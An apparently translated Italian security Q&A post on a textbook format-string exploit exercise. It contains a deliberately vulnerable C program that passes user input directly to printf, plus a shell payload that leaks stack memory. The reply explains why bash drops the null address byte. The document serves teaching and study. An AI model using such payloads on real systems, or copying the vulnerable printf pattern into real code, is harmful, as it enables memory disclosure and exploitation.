"Hacking The Art of Exploitation" - troncamento della memoria di sfruttamento della stringa di formato

0

Sto tentando l'exploit del parametro format di printf () dove fornire direttamente i dati controllati dall'utente come l'unico argomento di printf ("input dell'utente") consente all'utente di fornire parametri di formato come% x nel qual caso ci sono non ci sono argomenti aggiuntivi forniti alla funzione per farlo fuoriuscire dallo stack in modo che utilizzi tutti i dati attualmente disponibili che consentono di leggere gli indirizzi e altro ancora.

programma

#include <stdio.h>
#include <stdlib.h>
#include <string.h>


int main(int argc, char *argv[]) {
    char text[1024];
    static int test_val = -72;

    if(argc < 2) {
        printf("Usage: %s <text to print>\n", argv[0]);
        exit(0);
    }
    strcpy(text, argv[1]);

    printf("The right way to print user-controlled input:\n");
    printf("%s", text);

    printf("\nThe wrong way to print user-controlled input:\n");
    printf(text);

    printf("\n");

    // Debug output
    printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);

    exit(0);
}

Il mio problema è che quando fornisco un indirizzo che precede i parametri di formato come argomento del mio programma, il byte meno significativo 00 (parte dell'indirizzo) viene troncato e sostituito con un altro byte (2e in questo caso) dallo stack .

./fmt_vuln $(printf "\x58\x10\x60\x00")$(perl -e 'print ".%08x" x8')

L'output:

The right way to print user-controlled input:
X'.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
The wrong way to print user-controlled input:
X'.017af010.3a780780.3a4b12c0.3a967700.0000002b.22f85198.00f7803b.2e601058
[*] test_val @ 0x00601058 = -72 0xffffffb8
    
posta nrmad 22.09.2018 - 18:33
fonte

1 risposta

0

Sulla mia macchina, anche quando eseguo il test della parte che genera i parametri tramite

echo  $(printf "\x58\x10\x60\x00")$(perl -e 'print ".%08x" x8')

Ottengo un

-bash: warning: command substitution: ignored null byte in input

Sembra che lo stesso accade sulla tua macchina (purtroppo senza che venga visualizzato l'avviso). Di conseguenza, l'effetto è come se avessi passato

$(printf "\x58\x10\x60")$(perl -e 'print ".%08x" x8')

vale a dire, il quarto carattere dell'indirizzo previsto è preso dal primo '.' (ASCII 0x2E) seguente. Forse prova ad andare d'accordo con "\ x58 \ x10 \ x60 \ x01" o "\ x58 \ x10 \ x5f \ xff".

Vedi anche link

    
risposta data 22.09.2018 - 19:22
fonte

Leggi altre domande sui tag